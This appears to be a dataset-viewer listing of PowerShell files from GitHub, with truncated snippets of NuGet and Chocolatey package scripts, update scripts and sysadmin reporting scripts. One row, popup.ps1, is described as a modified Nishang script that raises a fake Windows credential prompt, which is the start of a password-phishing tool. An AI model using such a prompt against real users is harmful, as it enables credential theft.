PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Install.ps1 | Install.ps1 | param($installPath, $toolsPath, $package, $project)
if ($project.Type -eq 'Web Site') {
Import-Module (Join-Path $toolsPath VS.psd1)
$srcFiles = Join-Path $installPath "lib\net40\*.dll"
$projectRoot = Get-ProjectRoot $project
if (!$projectRoot) {
return;
}
$destDirec... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Microsoft.Web.Infrastructure.1.0.0.0/tools/Uninstall.ps1 | Uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
if ($project.Type -eq 'Web Site') {
Import-Module (Join-Path $toolsPath VS.psd1)
$projectRoot = Get-ProjectRoot $project
if (!$projectRoot) {
return;
}
$binDirectory = Join-Path $projectRoot "bin"
$srcDirectory = Join-Path $... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/siddharthshah012_.NET-/Web Application .NET/ContactWeb/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/guetzli/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://api.github.com/repos/google/guetzli/releases/latest'
function global:au_SearchReplace {
@{
"$($Latest.PackageName).nuspec" = @{
"(\<releaseNotes\>).*?(\</releaseNotes\>)" = "`${1}$($Latest.releaseNotes)`$2"
"(\... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/guetzli/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $ErrorActionPreference = 'Stop'
$toolsDir = Split-Path $MyInvocation.MyCommand.Definition
if ((Get-ProcessorBits 64) -and $env:chocolateyForceX86 -ne 'true') {
Write-Host "Installing 64 bit version"
rm $toolsDir\guetzli_windows_x86_x32.exe
mv $toolsDir\guetzli_windows_x86-64_x64.exe $toolsDir\guetzli... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/flac/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://sourceforge.net/projects/flac/files/'
function global:au_SearchReplace {
@{
"tools\chocolateyInstall.ps1" = @{
"(?i)(^\s*url\s*=\s*)('.*')" = "`$1'$($Latest.URL32)'"
"(?i)(^\s*checksum\s*=\s*)('.*')... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/flac/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $ErrorActionPreference = 'Stop'
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$packageArgs = @{
packageName = 'flac'
unzipLocation = $toolsDir
fileType = 'ZIP'
url = 'http://downloads.xiph.org/releases/flac/flac-1.3.2-win.zip'
checksum = '4cca0... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/sdio/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://sourceforge.net/projects/snappy-driver-installer-origin/files/'
function global:au_SearchReplace {
@{
"tools\chocolateyInstall.ps1" = @{
"(?i)(^\s*url\s*=\s*)('.*')" = "`$1'$($Latest.URL32)'"
"(?i)(^\s... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/sdio/tools/chocolateyuninstall.ps1 | chocolateyuninstall.ps1 | $packageName = 'sdio'
$shortcutName = 'Snappy Driver Installer Origin'
Remove-Item "$env:Public\Desktop\$shortcutName.lnk" -Force -ErrorAction 'SilentlyContinue'
Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\$shortcutName.lnk" -Force -ErrorAction 'SilentlyContinue'
if ((Test-Path -path ... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/sdio/tools/chocolateyinstall.ps1 | chocolateyinstall.ps1 | $ErrorActionPreference = 'Stop'
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$packageArgs = @{
packageName = 'sdio'
unzipLocation = $toolsDir
fileType = 'ZIP'
url = 'https://downloads.sourceforge.net/project/snappy-driver-installer-origin/SDIO_0.7.0.576... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/phpstorm/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://confluence.jetbrains.com/display/PhpStorm/PhpStorm+Early+Access+Program'
$directory = Split-Path $MyInvocation.MyCommand.Definition
function global:au_SearchReplace {
@{
"tools\chocolateyInstall.ps1" = @{
"(?i)(^\s*url\s*=... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/phpstorm/tools/helper.ps1 | helper.ps1 | function Get-Uninstaller {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[string] $Name
)
$local_key = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*'
$machine_key32 = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*'
... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/phpstorm/tools/chocolateyinstall.ps1 | chocolateyinstall.ps1 | $ErrorActionPreference = 'Stop'
$tools = Split-Path $MyInvocation.MyCommand.Definition
. $tools\helper.ps1
# Cleanup-EAP #Can't verify this actually works. Comment out until I add install param and warning for it
$packageArgs = @{
PackageName = 'phpstorm'
FileType = 'exe'
Silent ... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/phpstorm/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $tools = Split-Path $MyInvocation.MyCommand.Definition
. $tools\helper.ps1
$build_version = '172.2103.5'
$packageArgs = @{
PackageName = 'phpstorm'
FileType = 'exe'
Silent = '/S'
File = (Get-Uninstaller -Name "JetBrains PhpStorm $build_version")
}
Uninstall-... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/FileOptimizer/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/'
function global:au_SearchReplace {
@{
"tools\chocolateyInstall.ps1" = @{
"(?i)(^\s*url\s*=\s*)('.*')" = "`$1'$($Latest.URL32)'"
"(?i)(^\s*check... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/FileOptimizer/tools/chocolateyinstall.ps1 | chocolateyinstall.ps1 | $ErrorActionPreference = 'Stop'
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$packageArgs = @{
packageName = 'FileOptimizer'
installerType = 'exe'
url = 'https://downloads.sourceforge.net/project/nikkhokkho/FileOptimizer/9.80.1769/FileOptimizerSetup.exe'
... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/automatic/FileOptimizer/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = 'FileOptimizer'
$installerType = 'exe'
$silentArgs = '/S'
$path = "$env:ProgramFiles\FileOptimizer"
$path86 = "${env:ProgramFiles(x86)}\FileOptimizer"
if (Test-Path $path) {
Uninstall-ChocolateyPackage $packageName $installerType $silentArgs "$path\Uninstall.exe"
}
if (Test-Path $path86) ... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/manual/color-sustainer/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $fileName = "color-sustainer.exe"
$linkName = "Color Sustainer.lnk"
$destdir = $(Split-Path -parent $MyInvocation.MyCommand.Definition)
#install start menu shortcut
$programs = [environment]::GetFolderPath([environment+specialfolder]::Programs)
$shortcutFilePath = Join-Path $programs $linkName
$targetPath = Joi... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/manual/color-sustainer/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $linkName = "Color Sustainer.lnk"
$programs = [environment]::GetFolderPath([environment+specialfolder]::Programs)
$shortcutFilePath = Join-Path $programs $linkName
if(Test-Path $shortcutFilePath) {
del $shortcutFilePath
}
|
PowerShellCorpus/Github/Spunkie_chocolatey-packages/deprecated/snappy-driver-installer-origin/update.ps1 | update.ps1 | import-module au
. "..\_scripts\all.ps1"
$releases = 'https://sourceforge.net/projects/snappy-driver-installer-origin/files/'
function global:au_SearchReplace {
@{
"tools\chocolateyInstall.ps1" = @{
"(?i)(^\s*url\s*=\s*)('.*')" = "`$1'$($Latest.URL32)'"
"(?i)(^\s... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/deprecated/snappy-driver-installer-origin/tools/chocolateyuninstall.ps1 | chocolateyuninstall.ps1 | $packageName = 'snappy-driver-installer-origin'
$shortcutName = 'Snappy Driver Installer Origin'
Remove-Item "$env:Public\Desktop\$shortcutName.lnk" -Force -ErrorAction 'SilentlyContinue'
Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\$shortcutName.lnk" -Force -ErrorAction 'SilentlyContinue... |
PowerShellCorpus/Github/Spunkie_chocolatey-packages/deprecated/snappy-driver-installer-origin/tools/chocolateyinstall.ps1 | chocolateyinstall.ps1 | $ErrorActionPreference = 'Stop'
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$packageArgs = @{
packageName = 'snappy-driver-installer-origin'
unzipLocation = $toolsDir
fileType = 'ZIP'
url = 'https://downloads.sourceforge.net/project/snappy-driver-insta... |
PowerShellCorpus/Github/OPS-E2E-PPE_E2E_D_Provision_2017_5_20_19_58_31/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source url: ... |
PowerShellCorpus/Github/cheetz_PowerShell_Popup/popup.ps1 | popup.ps1 | function Auth_Popup
{
<#
.SYNOPSIS
Modified Nishang script which opens a user credential prompt.
.LINK
Original Script and credit
https://github.com/samratashok/nishang
#>
[CmdletBinding()]
Param ()
$credential = $host.ui.PromptForCredential("Credentials are required to perform this operation", "Pl... |
PowerShellCorpus/Github/DextraKelvin_SystadminDailyTask/DellDailyReport1.ps1 | DellDailyReport1.ps1 | # Daily HTML Email Report from OpenManage Essentials
# This report can be ran either as a standalone or within OME
# It will gather basic inventory, provide a disk space report
# processes report, service report, system and application
# event log.
#
# This script will generate a valid XHTML 1.0 Transitional HTML... |
PowerShellCorpus/Github/DextraKelvin_SystadminDailyTask/1459-SystemsReport.ps1 | 1459-SystemsReport.ps1 | # PowerShell Systems Report
# Example usage: .\SystemsReport.ps1 .\list.txt
# Remember that list.txt is the file containing a list of Server names to run this against
#region Variables and Arguments
$users = "youremail@yourcompany.com" # List of users to email your report to (separate by comma)
$fromemail = "you... |
PowerShellCorpus/Github/DextraKelvin_SystadminDailyTask/New-AssetReport.ps1 | New-AssetReport.ps1 | <#
.SYNOPSIS
New-AssetReport - Creates detailed reports of one or more computer systems.
Zachary Loeber
THIS CODE IS MADE AVAILABLE AS IS, WITHOUT WARRANTY OF ANY KIND. THE ENTIRE
RISK OF THE USE OR THE RESULTS FROM THE USE OF THIS CODE REMAINS WITH THE USER.
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.